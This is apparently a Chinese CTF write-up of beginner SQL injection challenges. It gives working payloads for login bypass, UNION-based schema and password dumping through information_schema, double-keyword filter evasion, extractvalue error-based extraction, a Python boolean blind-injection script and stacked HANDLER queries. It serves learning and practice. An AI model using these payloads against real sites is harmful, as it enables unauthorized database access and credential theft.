当前位置:网站首页>CTF入门笔记之SQL注入
CTF入门笔记之SQL注入
2022-08-02 03:25:00 【SevenCold】
利用information_schema数据库来进行sql注入。
1.最基础的 万能密码获得flag

payload:check.php?username=1%27+or+1%3D1%23&password=1

直接拿到flag。
2.无过滤 运用information_schema数据库
万能密码可以登录,说明可以无过滤。
查看数据有几条
payload:check.php?username=1' order by 4%23&password=1

说明有三条数据
然后爆数据库名
payload:check.php?username=1' union select 1,2,database()%23&password=1

得到数据库
然后爆表名
payload:check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到表名
爆字段名
payload:check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

然后爆内容!
payload:check.php?username=1' union select 1,2,group_concat(password) from l0ve1ysq1%23&password=1

这里因为我知道flag在password,所以我只爆了password的内容,当然可以id,username,password都爆出来。
得到flag。
3.双写绕过过滤的注入
发现万能密码会报错,考虑有过滤,双写试一下,发现可以
payload:check.php?username=1' oorr 1=1%23&password=1

然后接下来就可以按步骤来了 爆数据库名-爆表名-爆字段名-爆内容。
爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()%23&password=1

爆表
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23&password=1

爆内容 得flag
payload:check.php?username=1' uniunionon selselectect 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

需要注意的是,因为or关键字被过滤了,所以information,password虽然不是关键字,但其中的or还是要双写的。
4.用extractvalue绕过过滤(报错注入)
爆数据库
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(database()))))%23&password=1

爆表
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))%23&password=1

爆字段
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23&password=1

爆内容(password)
payload:check.php?username=1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23&password=1

但是extractvalue函数返回值是有字数限制的,所以我们只能看到左边一部分,然后用right函数看右边的
payload:check.php?username=1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),35))%23&password=1

拼接一下得出flag为
flag{4073118d-2919-4563-9ac1-6be41c66a852}
5.sql盲注

拿到题后我试了很多注入姿势,然而都失败了,没办法我直接去搜了wp,然后说是要盲注,好吧,知识盲区。
我就大概去了解了一下盲注,也分很多类型,这道题应该是属于布尔盲注,我对此的理解就是呢,通过简单的测试我们发现,当为1和0回显是不一样的,我们依次来构造比较语句,如果通过则结果为1,反之结果为0,然后记录得到1的情况,拼接出正确答案。还是上脚本吧。(大佬的脚本)
```python
import requests
import time
url='http://d0f7ab5f-bb72-450c-92df-916c71f4b17e.node4.buuoj.cn:81//index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
while 1:
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break
``
因此题目已经说了 flag在flag表中,因此select(flag)from(flag)可以得到flag,但是这在页面是不会回显的,因此还要用盲注。
我们将的到的flag逐位取出去,得到ascii在0-127中进行二分查找,找到后便输出,这样就可以得到flag了。
这里用的注入姿势是0^0|1,因为很多东西都被过滤了嘛。然后加上sleep函数是为了不要访问太快发生异常。
运行脚本就可以看到flag一个一个的蹦出来了~
6.很神奇的一道题目

也不和你绕弯子,就是sql注入,然后我规规矩矩的开始一个个测试。
这些都被过滤了,尝试了很多绕过方法但都失败了,但是发现show databases;show tables;这些是可以用的,我开始找flag字段,最后发现就在当前数据库的另一个表中,但是没有select读不出来啊!!!无奈,又到了经典的搜wp时间了。
看了大佬的wp,甚至还有三种方法,第一种是预编译,有些些复杂,我就不记录了。
第二种也是最简单的方法,sql中竟然还有一个读取字段内容的关键字——handler,amazing!
-1';handler `1919810931114514` open;handler `1919810931114514` read first;#

就出来了。
第三种方法就是改表名,将默认显示出来的表明改掉,再将1919810931114514表改名为默认显示表的表名,flag字段名也改一下,一刷新页面就出来哩。
边栏推荐
- (6) 学生信息管理系统设计
- Alfa: 1 vulnhub walkthrough
- [league/flysystem]一个优雅且支持度非常高的文件操作接口
- Kali环境下Frida编写脚本智能提示
- Thread Pool (Introduction and Use of Thread Pool)
- Solve the problem of Zlibrary stuck/can't find the domain name/reached the limit, the latest address of Zlibrary
- easyswoole 使用redis执行geoRadiusByMember Count无效修复
- 宝塔邮局邮箱设置成功后能发送不能接收问题处理
- IO流、字节流、字节缓冲流
- About the apache .htaccess file of tp
猜你喜欢

VIKINGS: 1 vulnhub walkthrough

(3)Thinkphp6数据库

MOMENTUM: 2 vulnhub walkthrough

13. JS output content and syntax

TypeScript error error TS2469, error TS2731 solution

(4) 函数、Bug、类与对象、封装、继承、多态、拷贝

PHP基金会三月新闻公告发布

PHP8.2 version release administrator and release plan

Phpstudy安装Thinkphp6(问题+解决)
![[sebastian/diff]一个比较两段文本的历史变化扩展库](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff]一个比较两段文本的历史变化扩展库
随机推荐
(7) superficial "crawlers" process (concept + practice)
(4) Function, Bug, Class and Object, Encapsulation, Inheritance, Polymorphism, Copy
[mikehaertl/php-shellcommand] A library for invoking external command operations
CTF-网鼎杯往届题目
2. PHP variables, output, EOF, conditional statements
稳定好用的短连接生成平台,支持API批量生成
[phpunit/php-timer]一个用于代码执行时间的计时器
PHP8.2的版本发布管理员和发布计划
TypeScript 错误 error TS2469、error TS2731 解决办法
Orasi: 1 vulnhub walkthrough
Query the indexes of all tables in the database and parse them into sql
点名系统和数组元素为对象的排序求最大值和最小值
hackmyvm: kitty walkthrough
[league/climate] A robust command-line function manipulation library
使用PHPMailer发送邮件
PHP实现搜索框的自动反查提示
(8) requests, os, sys, re, _thread
ES6迭代器解释举例
Masashi: 1 vulnhub walkthrough
Alfa: 1 vulnhub walkthrough